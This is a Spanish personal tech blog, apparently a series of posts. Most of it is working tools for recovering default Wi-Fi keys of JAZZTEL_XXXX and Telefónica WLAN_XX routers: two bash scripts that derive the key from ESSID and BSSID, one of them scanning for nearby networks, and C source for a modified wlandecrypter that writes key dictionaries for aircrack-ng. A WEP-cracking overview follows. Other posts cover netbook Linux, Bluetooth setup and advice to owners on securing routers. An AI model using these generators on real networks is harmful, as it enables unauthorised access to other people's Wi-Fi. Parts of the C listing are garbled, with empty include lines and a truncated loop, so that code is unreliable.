Scripts para Mac y GNU/Linux generador de claves JAZZTEL_XXXX y WLAN_XXXX

El primero se lanza:

$ generar_claves_jazztel_wlan_xxxx <EDDIS> <BSSID>

El segundo captura el BSSID solo y se lanza:

$ generar_claves_jazztel_wlan_xxxx_sin_bssid <ESSID>

Dejo el código de los dos:

* generar_claves_jazztel_wlan_xxxx:

[code lang="bash"]
#!/bin/bash

## Generador de claves JAZZTEL_XXXX y WLAN_XXXX
## aabilio@gmail.com
## License: http://en.wikipedia.org/wiki/WTFPL

function sumar_error ()
{
echo $1
let ERRNO=$ERRNO+1
}

function comprobar_errores()
{
if [ $ERRNO -gt 0 ]
then
echo
echo "Usage: $0 <ESSID> <BSSID>"
echo " Example: $0 WLAN_XXXX XX:XX:XX:XX:XX:XX"
exit 1
fi
}

function sacar_claves ()
{
#Pasar a mayúsculas el wlan_xxxx y coger solo los "xxxx"
ESSId=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
#Pasar a mayúsculas el XX:XX:XX:XX:XX y quitar los dos puntos ":"
BSSId=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
#Cogemos del BSSId solo los 8 primeros caracteres:
BSSId8=$(echo -n "$BSSId" | cut -c-8)
#Hacemos la suma md5 de bcgbghgg$BSSId8$ESSId$BSSId (20 primeros caracteres):
#Cambiar "md5" por "md5sum" para GNU/Linux
CLAVE=$(echo -n bcgbghgg$BSSId8$ESSId$BSSId | md5 | cut -c-20)
}

function mostrar_claves ()
{
echo "ESSID: "$1
echo "BSSID: "$2
echo "CLAVE: "$3
}

################################ MAIN ##################################
ERRNO=0
#Comprobamos errores de lanzamiento:
# - Argumentos distinto de dos:
if [ $# -ne 2 ]
then
sumar_error "ERROR EN EL NÚMERO DE PARÁMETROS"
fi

compEssid=0
cEssid=$(echo $1 | tr 'a-z' 'A-Z')
cBssid=$(echo $2 | tr 'a-z' 'A-Z')
#Comprobar primer parámetro en escritura y largura:
echo $1 | tr 'a-z' 'A-Z' | grep ^WLAN_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
echo $1 | tr 'a-z' 'A-Z' | grep ^JAZZTEL_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
if [ $compEssid -eq 2 ]; then sumar_error "ESSID INVÁLIDO"; fi

#Comprobar segundo parámetro en escritura y largura:
echo $2 | tr 'a-z' 'A-Z' | grep ^[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]
then
sumar_error "BSSID INVÁLIDO"
fi

comprobar_errores
sacar_claves $1 $2
mostrar_claves $cEssid $cBssid $CLAVE
[/code]

* generar_claves_jazztel_wlan_xxxx_sin_bssid:

[code lang="bash"]
#!/bin/bash

## Generador de claves JAZZTEL_XXXX y WLAN_XXXX
## aabilio@gmail.com
## License: http://en.wikipedia.org/wiki/WTFPL

function sumar_error ()
{
echo $1
let ERRNO=$ERRNO+1
}

function comprobar_errores()
{
if [ $ERRNO -gt 0 ]
then
echo
echo "Usage: $0 <ESSID>"
echo " Example: $0 WLAN_XXXX"
exit 1
fi
}

function sacar_claves ()
{
#Pasar a mayúsculas el wlan_xxxx y coger solo los "xxxx"
ESSId=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
#Pasar a mayúsculas el XX:XX:XX:XX:XX y quitar los dos puntos ":"
BSSId=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d :)
#Cogemos del BSSId solo los 8 primeros caracteres:
BSSId8=$(echo -n "$BSSId" | cut -c-8)
#Hacemos la suma md5 de bcgbghgg$BSSId8$ESSId$BSSId (20 primeros caracteres):
CLAVE=$(echo -n bcgbghgg$BSSId8$ESSId$BSSId | md5 | cut -c-20)
}

function mostrar_claves ()
{
echo "ESSID: "$1
echo "BSSID: "$2
echo "CLAVE: "$3
}

function obtener_bssid ()
{
echo "BUSCANDO BSSID"
essidToUpper=$(echo $1 | tr 'a-z' 'A-Z');
bssidd=$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | grep `echo $essidToUpper`)
if [ $? -ne 0 ]
then
echo "NO SE ENCUENTRA EL BSSID para "$essidToUpper
let ERRNO=$ERRNO+1
comprobar_errores
else
echo "BSSID encontrado"
bssid=$(echo $bssidd | awk '{print $2}')
fi
}

################################ MAIN ##################################
ERRNO=0
#Comprobamos errores de lanzamiento:
# - Argumentos distinto de dos:
if [ $# -ne 1 ]
then
sumar_error "ERROR EN EL NÚMERO DE PARÁMETROS"
fi

compEssid=0
cEssid=$(echo $1 | tr 'a-z' 'A-Z')
#Comprobar primer parámetro en escritura y largura:
echo $1 | tr 'a-z' 'A-Z' | grep ^WLAN_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
echo $1 | tr 'a-z' 'A-Z' | grep ^JAZZTEL_[0-9A-F][0-9A-F][0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]; then let compEssid=$compEssid+1; fi
if [ $compEssid -eq 2 ]; then sumar_error "ESSID INVÁLIDO"; fi

#Obtenemos el bssid con airport
obtener_bssid $1
cBssid=$(echo $bssid | tr 'a-z' 'A-Z')
#Comprobar segundo parámetro en escritura y largura:
echo $bssid | tr 'a-z' 'A-Z' | grep ^[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]:[0-9A-F][0-9A-F]$ > /dev/null
if [ $? -ne 0 ]
then
sumar_error "BSSID INVÁLIDO"
fi

comprobar_errores
sacar_claves $1 $bssid
mostrar_claves $cEssid $cBssid $CLAVE
[/code]

DESCARGA:

Enlace | generar_claves_jazztel_wlan_xxxx – Para Mac OS X y GNU/Linux (cambiando “md5″ por “md5sum” en la línea 33 del primer script)

Enlace | generar_claves_jazztel_wlan_xxxx_sin_bssid – Sólo para Mac OS X

Este último capta automáticamente el BSSID de la red que se le pasa como parámetro (ESSID) utilizando el comando para terminal de airport. Por ello es necesario que se este en el radio de acción de la red de la que se desea conocer la clave. Si por el contrario se quiere usar el primero, como segundo parámetro se le tendrá que pasar manualmente la red, que se puede obtener fácilmente con el comando airport -s (que está escondido en la ruta: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/) o utilizando apps de terceros como KisMAC. En GNU/Linux también se puede obtener fácilmente el BSSID de una red con el comando iwconfig con el flag de buscar scan (por ejemplo: $ sudo iwconfig wlan0 scan)

Modificando wlandecrypter

Cuelgo en el blog una modificación del pequeño programa “wlandecrypter” que genera un diccionario con las posibles claves de los diferentes routers de Timofónica.
Este comprueba por mac, como el original, si esta existe (está reconocida como una de las mac que utilizan los routers de la compañía) pero a diferencia del antiguo, es que si esta no existe también te da la posibilidad, previo aviso, de poder generar un diccionario con esos valores (más que nada por si se van añadiendo nuevas marcas o nuevas mac, y estas no han sido añadidas ya en la base del programa).
La forma de lanzarlo también cambia. Con la modificación en vez de tener que escribir todo el BSSID y todo el ESSID, solo se ingresarán las partes importantes, es decir, los primeros seis caracteres de la mac y los dos últimos del ESSID.
Ejemplo, si quieres generar un diccionario para la red con las siguientes características:
BSSID : 00:13:49:E8:29:7B
ESSID: WLAN_32
El programa se lanzará:

$ m0dWlandecrypter 001349 32 diccionario

NOTA: No comprobará si los 6 primeros caracteres pertenecientes al bssid son  hexadecimales (ya lo implemento uno de estos días).

Dejo el código en cuestión:

/*****************************************************************************
* Fichero:                      m0dWlandecrypter.c
* Fecha:                        22-09-2009
* Autor:                        aabilio (aabilio[at]gmail[dot]com)
* 
* Es una pequeña modificación del wlandecrypter de Nilp0inteR
* 
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu 
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
* 
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*****************************************************************************/

#include 
#include 
#include 
#include 

#define MAXROUTER 13
#define ULTIMO 12

/* Estructura Router */
typedef struct __Router {
    char bssid[7];
    char init;
    char info[20];
} _Router;

/* Variable global */
char hex[16]="0123456789ABCDEF";

/* Prototipos */
void datosRouters(_Router routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(_Router routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *);
void bucleImprimeClaves(FILE *fichero, char , int bssidId, char *keyEnd, char *);

/* MAIN */
int main(int argc, char *argv[]) {
        
        int i, bssidId, validHex=0;
        char opcion;
        char endKey[2];
        _Router routers[MAXROUTER];
        FILE *fichero;
        
        fprintf(stdout, "\n====================================\n");
        fprintf(stdout, "m0dWlandecrypter - aabilio@gmail.com\n");
        fprintf(stdout, "====================================\n");

        if(argc<3 || argc>4) {
            muestraAyuda();
            return 1;
        }
        
        if(strlen(argv[1]) != 6 ) {
            fprintf(stderr," [-] Longitud de BSSID invalida\n");
            muestraAyuda();
            return 1;
        }
        if(strlen(argv[2]) != 2 ) {
            fprintf(stderr," [-] Longitud de ESSID invalida\n");
            muestraAyuda();
            return 1;
        }
                
        datosRouters(routers);
        bssidId=buscaBssid(routers, argv[1]);
       
        fprintf(stderr, " [+] BSSID: %s\n" 
                        " [+] Modelo: %s\n", argv[1], routers[bssidId].info);
        if(bssidId==ULTIMO) {
            strcpy(routers[ULTIMO].bssid, argv[1]);
            routers[ULTIMO].init = 'Z';
            fprintf(stderr, "   |__>> [?] Puede que no genere un buen diccionario\n");
            do {
                fprintf(stderr, "          Continuar de todas formas?? (s/n) : ");
                opcion = getchar(); getchar();
                //scanf("%c", &opcion);
                opcion = toupper(opcion);
                if (opcion == 'N')
                    return 1;
                else if (opcion == 'S')
                    break;
            } while (1);
            
        }
        
        for(i=0;i3) {// Fichero
                    fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
                    if ((fichero=fopen(argv[3], "a+")) == NULL) {
                       fprintf(stderr, " [-] Fallo al escribir en el fichero\n");
                       return 1;
                    }
                    
                    imprimeClaves(fichero,routers,bssidId,endKey, argv[1]);
                    fclose(fichero);
                    fprintf(stderr, " [+] Fichero guardado\n");
                } else {
                    fprintf(stderr," [+] Seleccionada salida estandar\n");
                    imprimeClaves(stdout,routers,bssidId,endKey, argv[1]);
                }
            }
        }
        puts("");
        return 0;
}       

/* AYUDA */
void muestraAyuda() {
    fprintf(stderr, "\nuso: aawlandecrypter   [output file]\n"
                    "  |__ : Solo los 6 primeros caracteres del mismo sin contar ':'\n"
                    "  |__ : Solo los XX de WLAN_XX\n"
                    "  |__[output file] : Archivo resultante\n\n"
                    "   Ejemplo: aawlandecrypter 001349 55 diccionario\n\n");
}

/* Imprime claves */
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *bssid) {
    //int i,j,k,l;
    
    if(bssidId==ULTIMO){
        routers[bssidId].init = 'Z';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'X';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'C';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    } else {
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    }
}
/* El bucle que imprime la clave */
void bucleImprimeClaves(FILE *fichero, char init, 
                        int bssidId, char *keyEnd, char *bssid) {
    int i,j,k,l;
    
    for(i=0;i<16;i++)
        for(j=0;j<16;j++)
            for(k=0;k<16;k++)
                for(l=0;l<16;l++) {
                    fprintf(fichero, "%c%s%c%c%c%c%c%c\n"
                            , init, bssid, hex[i],hex[j],hex[k],hex[l], 
                            keyEnd[0],keyEnd[1]);
                }
}

/* Datos de los routers: */
void datosRouters(_Router routers[MAXROUTER]) {
        int i =0;
        // Z-com
        strcpy(routers[i].bssid,"0060B3\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Z-com\0");
        i++;
        // Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
        strcpy(routers[i].bssid,"00A0C5\0"); 
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Zyxel 650HW/660HW\0");
        i++;
        // P-660HW-D1
        strcpy(routers[i].bssid,"001349\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"P-660HW-D1\0");
        i++;
        // Xavvy
        strcpy(routers[i].bssid,"000138\0");
        routers[i].init = 'X';
        strcpy(routers[i].info,"Xavi 7768r\0");
        i++;
        // Comtrend
        strcpy(routers[i].bssid,"0003C9\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 535\0");
        i++;
        // Comtrend NUEVO, gracias a dnreinad por el coche xD
        strcpy(routers[i].bssid,"001638\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001915\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"0030DA\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001A2B\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001D20\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;

        // ZyGate
        strcpy(routers[i].bssid,"0002CF\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
        // ZyGate
        strcpy(routers[i].bssid,"0019CB\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
        
        strcpy(routers[ULTIMO].bssid,"000000\0");
        routers[ULTIMO].init = 'Z';
        strcpy(routers[ULTIMO].info,"Desconocido\0");
}

int buscaBssid(_Router routers[MAXROUTER], char *bssid) {
    int i;
        
    for(i=0;i

Para compilar en GNU/Linux:

$ gcc -o wlandecryter_mod m0dWlandecrypter.c

Enlace | m0dWlandecrypter.c para descargar

Mobling pinta muy bien

¿Ya has probado Mobling en tu netbook?

Puedes probar en modo live bajando la imagen desde aquí.

Lo puedes grabar en pen (al menos 1 GiB) de la siguiente manera con el comando dd:

# dd bs=4096 if= of=

o con el script de python image-writer que puedes encontrar aquí, y ejecutarlo de la siguiente manera:

# ./image-writer 

Antes de nada le tendrías que haber dado permisos de ejecución al script de image-writer:

# chmod a+x ./image-writer

De momento el proyecto está en fase temprana y tiene barios bugs y muchas opciones no disponibles, pero se lanzan versiones a un ritmo bastante bueno.

Yo si lo he probado y puedo decir que pinta bastante bien y su interfaz de manejo es espectacular.

Enlace | Web de Mobling

Bluetooth integrado de Toshiba Satellite U300 – 13H en GNU/Linux

Si tienes un Toshiba Satellite U300 – 13H seguramente sepas que viene con bluetooth integrado, que bajo Vista (el OS con el que te venden este portátil funciona perfectamente, supongo por que no lo he probado) pero que GNU/Linux ni lo huele.

Básicamente sabe que está ahí presente pero no es capaz de iniciarlo.

Para muchos, este problema se solucionaba con instalar los Toshiba Utils,

En Debian: # apt-get install toshutils

y luego iniciaba el bluetooth ejecutando un programa que se llama dmabt (que lo puedes encontrar aquí, al final de la página) y todo listo. El problema es que para el U300 -13H no vale esta solución por que dispone de una BIOS diferente.

Para ello necesitamos utilizar el proyecto omnibook. Pero hay que reconocer que con este proyecto yo logré que funcionara el bluetooth pero la gente del proyecto avisa de los portátiles compatibles y este no aparece en la lista, y ellos mismos se lavan las manos diciendo que lo usemos para estos casos bajo nuestra responsabilidad y no garantizan éxito alguno e incluso avisa de un posible mal funcionamiento del ordenador si utilizamos su código.

Bueno vamos al tema. Como indica la entrada primero voy a explicar cómo hacer funcionar el BT en un U300 – 13H, sin embargo después indicaré como puedes instalar mediante el proceso seguro el BT en otros portátiles totalmente si compatibles.

Para el Toshiba U300 – 13H

Primero lo que necesitamos es obtener el código de omnibook y solo lo podemos obtener mediante subversion (para ello necesitamos tenerlo instalado: # apt-get install subversion bajo Debian/Ubuntu)

Una vez tenemos subversión vamos a una terminal y si queremos (para tener todo ordenado) creamos un directorio, por ejemplo:

$ mkdir omnibook

$ cd omnibook

Como indicamos en el comando navegamos hasta el directorio omnibook recientemente creado y ejecutamos el comando para obtener el código:

$ svn co https://omnibook.svn.sourceforge.net/svnroot/omnibook/omnibook/trunk

Con este comando obtenemos el código en la carpeta trunk. Navegamos a este directorio y compilamos el código (necesitamos tener instaldo gcc, make, build-essential, en Debian: # apt-get install gcc make build-essential)

$ cd trunk

$ make

Luego lo instalamos mediante el comando:

# make install (o $ su -c “make install” o si tienes sudo instalado $ sudo make install)

Ahora necesitamos copiar el módulo a nuestro kernel, para ello ejecutamos:

# cp omnibook.ko /lib/modules/`uname -r`/kernel/drivers/misc

Generemos los módulos:

# depmod -a

Y añadimos el módulo al kernel:

# modprobe omnibook ectype=14

Este último es el paso arriesgado, esto no indican en su web:

WARNING: Forced load on an unsupported machine may cause unpredictable result. You have been warned…

Por último para que se cargue el módulo al iniciar el OS tenemos que añadirlo al /etc/modules, bien añadiendo a mano mediante una editor al final del archivo:

# vi /etc/modules

y añadir omnibook ectype=14, presionar ESC y escribir :wq (para guardar y salir)

o bien ejecutando esta línea en la terminal (son comillas simples normales, no curvadas):

# echo ‘omnibook ectype=14′ >> /etc/modules

Y con esto ya estaría todo, probablemente en la bandeja del sistema te aparecería el símbolo del bluetooth y si ejecutas:

$ hcitool dev

te econtrarás algo parecido a esto:

Devices:

hci0 XX:XX:XX:XX:XX:XX

Para activar y desactivar el BT tienes estos dos comandos:

Activar:

# echo 1 > /proc/omnibook/bluetooth

Desactivar:

# echo 0 > /proc/omnibook/bluetooth

Para saber si está activado o desactivado:

# cat /proc/omnibook/bluetooth

(y te devolverá algo en Inglés como) Bluetooth presente y activado o desactivado.

Ahora bien, para trabajar con el BT puedes instalar los paquetes de bluetooth, bluez, y su utilizas gnome, gnome-bluetooth (desde synaptic en Debian/Ubuntu). Para compartir ficheros necesitas ejecutar Aplicaciones > Accesorios > Compartición de Archivos por Bluetooth.

Por último aclarar que a mi esto me ha funcionado, y supongo que si tienes el mismo modelo de portátil a ti también te funcionará. No me ha dado problemas hasta el momento pero puede que a ti si, por eso piensa bien antes si aplicar estos cambios en tu portátil.

Después del corte explicaré como instalar el BT para otros modelos compatibles mediante omnibook.

EDITADO: ¡ATENCIÓN! (28/04/2008)

A mi la primera vez esto me funcionó pero ahora por motivos ajenos tuve que reinstalar y todo funciona bien menos cuando reinicio e intento entrar en el modo gráfico, que después de poner mi nombre de usuario y contraseña el ordenador se me apaga.

SI os pasa esto, no os asustéis, simplemente entrar en modo de prueba de fallos (tango en gráfico como en terminal) y eliminar la línea del /etc/modules que se refiere a omnibook (o comentarla poniendo delante el símbolo #) reinicia y ya estará todo solucionado. También puedes hacer esto montando la partición desde otro OS o desde un LiveCD mismo.

Entonces, ¿Renunciamos al bluetooth? Pues yo diría que no. Ya que he probado que solo se te apaga el ordenado cuando ejecutas el módulo al inicio, si lo cargas una vez iniciado no afecta al comportamiento del PC.

Por lo tanto lo que podéis hacer es iniciarlo a mano cada vez que lo queráis utilizar. Esto se hace simplemente ejecutando en una terminal como root el siguiente comando:

# modprobe omnibook ectype=14

Y se activaría (te aparece el símbolo del bluetooth)

Si veis que no os vais a acordar de esta línea podéis crearos un simple script que ejecute la misma y le dais un nombre del que os acordéis. Os pongo un ejemplo:

Creáis un archivo con el nombre blueon y le añadís el siguiente contenido (son dobles comillas normales):

#!/bin/bash

su -c “modprobe omnibook ectype=14″

Le dais permisos de ejecución:

$ chmod +x blueon

y lo movéis a /usr/local/bin

# mv blueon /usr/local/bin

Luego simplemente se cargará el módulo cuando queráis ejecutando en terminal:

$ blueon

NOTA: Si lo ejecutas como root no te pedirá contraseña y si lo ejecutas como user normal te pedirá las contraseña de root para ejecutarlo.

NOTA2: Si eres de los de Ubuntu que no tienes cuenta de root puedes cambiar el su -c del script por sudo quitar las dobles comillas y en vez de pedir la contraseña de root te pedirá la tuya. Al igual que con su -c, si ejecutas desde terminal solo $ blueon te pedirá tus contraseña desde el script y si ejecutas $ sudo blueon primero te pedirá la contraseña y después ejecutará el script que cargará el módulo)

POSIBLES PROBLEMAS: Pues por ejemplo si una vez cargado el módulo del bluetooth tenemos que, por algún motivo, reiniciar el sistema gráfico, al volver a hacer loggin se nos volverá a apagar el ordenador.

Esto parece un coñazo pero por ahora es con lo único que ha funcionado mi bluetooth y pocas veces no pasará que una vez iniciado el módulo tengamos que reiniciar las X.

EDITADO 2: ¡ATENCIÓN! (04/05/2008)

Hace unos días comentaba que tuve que volver a instalar a compilar omnibook y que a partir de ahí me dió problemas en el arranque. Esto puede ser debido a cambios en la versión del módulo. He llegado a esta conclusión después de volver a compilar el módulo con la versión anterior (que guardaba en mi portátil) y con el mismo ectype=14 y al arrancar no se me apagaba el PC.

En cambió descargué la versión actualizada y si lo hacía (como comentaba en el anterior EDITADO). Pero se me dio por hacer una cambio en el ectype de estar versión y puse un 12 (que la primera vez de todas no me había funcionado) y ahora va bien y al arrancar no se apaga, como funcionaba todo al principio sin complicaciones.

Resumiendo, para no liar más, ahora mismo con la revisión 274 de omnibook he cargado el módulo con el ectype 12 y me va perfectamente (como al principio de todo con el ectype 14 para las revisiones anteriores ); Con el ectype 14 sigue funcionando en esta revisión pero el PC se apaga al inicio (como comentaba en el EDITADO anterior)

Sigue leyendo

Lo fácil que es descifrar una clave WEP

Siguiendo con la temática del post “Las claves WEP no son seguras” voy a publicar en esta entrada lo fácil que es descifrar la clave WEP de una red wifi.
Pongo a disposición de los lectores la información de esta entrada (en la que por otro lado no entraré en detalles) con propósitos educativos y sin más fin que el de ayudar a la gente que no conoce en profundidad el funcionamiento de una red. Esta entrada se debe de ver complementada con el post anteriormente mencionado para que todo el mundo pueda ver lo fácil que es descifrar una clave WEP y saber como solucionarlo.

Entrando en materia explicaré brevemente como funciona más o menos el procedimiento de descifrado de una clave WEP.
Generalmente son entre 3 y 4 partes diferenciadas.
Primero hay que escanear la redes posibles a las que da alcance nuestra tarjeta wireless en los diferentes canales. Con Kismet, por ejemplo, obtenemos todos los datos necesarios para empezar a obtener paquetes de una red en cuestión (BSSID, ESSID, canal…)
Lo segundo que hay que hacer es obtener un conjunto de paquetes suficiente para proceder al descifrado de la clave (para una clave de 64bits 250.000 paquetes aprox., 700.000 para una clave de 128bits). Con airodump-ng, por ejemplo, esto se hace fácilmente.
Lo tercero y opcional es lanzar un ataque para conseguir más velocidad en la recepción de paquetes (Ataques de autentificación falsa, chopchop…)
Lo cuarto y último es descifrar la clave mediante los paquetes recibidos. Con los paquetes suficiente y con, por ejemplo, aircrack-ng es cuestión de segundos.

aircrack


Con este resumen podemos ver claramente que cualquier persona que se aprenda 3 comandos en cuestión de poco tiempo puede descifrar una clave WEP. Lo más difícil puede ser lograr un ataque con éxito, pero hoy en día existen scritps que hacen esto de forma automatizada, y el tiempo en la mayor parte de los casos tampoco es un problema, sin comentar ya que si la red tiene un poco de actividad ni siquiera hace falta lanzar un ataque para conseguir rápidamente un número de paquetes suficientes como para descifrar una clave WEP.

También existe el caso de las claves WEP de los router de telefónica, las redes cuyo ESSID es WLAN_XX. Si comentábamos antes que quizás lo más laborioso era concentrar un número de paquetes determinado (alto en algunos casos), con las claves por defecto de estas redes los paquetes necesarios bajan excesivamente hasta el punto de que con unos 100 paquetes nos puede llegar a ser suficientes (o menos incluso).

Esto es debido a que solo tiene que descifrar un número reducido de los 13 caracteres de la clave ya que por defecto se saben los 7 primeros y los 2 últimos. De los 7 primeros, el que comienza la clave es una letra que puede ser Z, X o C, según la marca del router (ZyXEL, Xavy o Comtrend respectivamente), los siguientes 6 serian los primeros 5 caracteres de la MAC del router. Y los 2 últimos son los dos caracteres de las XX de WLAN_XX. Todos los datos de marca de router y demás se saben con un simple escaneo de la red y el programa wlandecrypter, que además nos compone una lista de todas las claves posibles en un archivo para que sea más fácil descifrarla con aircrack-ng y su opción ‘-w’ para añadirle un diccionario de donde probar las opciones.

A todos los consejos dados en la entrada anterior, añado uno dirigido a los propietarios de las redes WLAN_XX. Por lo menos cambiarle el nombre a la red, ya que ver un WLAN_XX es invitar a todos los niñatos que se creen el mejor cracker del mundo por saber teclear 4 comandos en una terminal a violar la seguridad de vuestra clave WEP.

Por último decir que si queréis aprender el funcionamiento de las redes y ver lo fácil que puede llegar a ser para una persona normal robar la clave de una red os aconsejo el LiveCD de Wifiway que lo podéis descargar de su página web aquí. (Si alguien quiere que publique un post de como crackear una clave WEP con Wifiway que deje constancia en los comentarios y lo publicare de una manera más explicita, siempre que su intención sea la de aprender a proteger su propia red)

Las claves WEP no son seguras

¿Porqué las contraseñas WEP no son seguras?

Hoy en día romper con la seguridad que ofrece una contraseña WEP es casi un juego de niños. Estas contraseñas pueden ser violadas en cuestión de pocos minutos. Para explicar fácilmente el gran problema de estas claves hay que remontarse un poco a como se produce la autentificación entre un cliente y un punto de acceso, y como la wikipedia lo explica muy bien os lo pego:

Con el sistema WEP se pueden utilizar dos métodos de autentificación: mediante Sistema Abierto o mediante Clave Compartida.

En la autenticación de Sistema Abierto, el cliente WLAN no se tiene que identificar en el Punto de Acceso durante la autentificación. Así, cualquier cliente, independientemente de su clave WEP, puede verificarse en el Punto de Acceso y luego intentar conectarse. En efecto, la no autentificación (en el sentido estricto del término) ocurre. Después de que la autentificación y la asociación, el sistema WEP pueden ser usado para cifrar los paquetes de datos. En este punto, el cliente tiene que tener las claves correctas.

En la autenticación mediante Clave Compartida, WEP es usado para la autentificación. Este método se puede dividir en cuatro fases:

I) La estación cliente envía una petición de autentificación al Punto de Acceso.

II) El punto de acceso envía de vuelta un texto modelo.

III) El cliente tiene que cifrar el texto modelo usando la clave WEP ya configurada, y reenviarlo al Punto de Acceso en otra petición de autentificación.

IV) El Punto de Acceso descifra el texto codificado, y lo compara con el texto modelo que había enviado. Dependiendo el éxito de esta comparación, el Punto de Acceso envía una confirmación o una denegación. Después de que la autentificación y la asociación, WEP puede ser usado para cifrar los paquetes de datos.

Y como también explica la wikipedia:

El principal problema con la implementación del algoritmo anteriormente descrito es el tamaño de los vectores de iniciación. A pesar de que se pueden generar muchos vectores, la cantidad de tramas que pasan a través de un punto de acceso es muy grande, lo que hace que rápidamente se encuentren dos mensajes con el mismo vector de iniciación, y por lo tanto sea fácil hacerse con la clave. Por lo tanto es inseguro debido a su implementación. Aumentar los tamaños de las claves de cifrado sólo aumenta el tiempo necesario para romperlo.

De forma más cotidiana: Los paquetes cifrados que se envían, a pesar de que pueden tener varias “combinaciones” distintas, también son muchos las claves cifradas que viajan, con lo que en algunos casos coinciden en partes, por lo que mediante el uso de ciertos programas son más fáciles de desencriptar (Por favor, que los gurús de la informática me perdonen…).

Siendo tan inseguras, ¿Porqué se siguen utilizando?

Pues la respuestas es sencilla: compatibilidad con el hardware antiguo. Muchos sistemas antiguos no disponen de compatibilidad con las nuevas tecnologías como pueden ser WPA o WPA2. Por eso sigue siendo la configuración por defecto de la mayoría de los router a pesar que estos ya tengan la posibilidad de configurarlo con estándares más seguros.

¿Posibles soluciones?

Pues la verdad que seguro que tienes una solución al alcance de la mano. Seguro que el router que tienes en tu casa tiene soporte para claves WPA o incluso WPA2 y no lo sabes. Y seguro que no tienes problemas de compatibilidad con hardware que no soporte estas tecnologías (al menos que tengas una NintendoDS, o algún hijo que la tenga, y te quieras conectar a Internet a través de esta, ya que estas consolas solo aceptan redes abiertas o claves WEP).

Simplemente tendrás que entrar en la configuración de router y buscar el apartado dedicado a wireless o wifi y toquetear para dar soporte a una clave WPA, que además, si la configuras con mayúsculas y minúsculas, junto con números y algún signo, será prácticamente indescifrable.

¿Cómo entro en la configuración de mi router?

Pues tecleando en tu navegador preferido la dirección de la puerta de enlace predeterminada (gateway) que en muchos de los casos será por defecto: 192.168.1.1 (un comando útil en GNU/Linux para conocer el gateway (gw) es “route” y en Windows “ipconfig”).

Seguramente se te abrirá una ventana pidiendo que introduzcas un nombre de usuario y una clave (si no tienes ni idea busca en el libro de el router las claves por defecto. Para login suele ser la palabra ‘admin’ y para la contraseña ’1111′ o algo así, pero esto depende de marca y modelo).

Una vez dentro ya tienes que buscar un apartado llamado wireless o wifi y sistemas de encriptado.

NOTA: Si tienes contratada una ADSL de telefónica y no configuraste el router en ningún caso anterior tendrás que acceder a la configuración de tu router mediante el portal Alejandra. Además que sepas que si dispones de una red de telefónica de este tipo: WLAN_XX (donde XX son dos caracteres cualesquiera) que sepas que tu clave está más expuesta todavía a ser fácilmente violada. Más adelante, donde explicaré paso a paso cómo romper con la seguridad de una clave WEP, daré más detalles.

A parte de las contraseñas, ¿puedo proteger mi red de más maneras?

La respuesta a esta pregunta es SI. Aunque estos sistemas tampoco es que sean muy seguros (los básico de nivel usuario). Por ejemplo la mayoría de los router modernos dejan hacer un filtro según la MAC de un dispositivo.

A grandes rasgos esto significa que tu en la configuración de tu router puedes configurar una lista de macs que serán las que solo se pueden conectar a este. Y ¿Qué es una MAC? Pues quitándome trabajo recurro a la wikipedia:

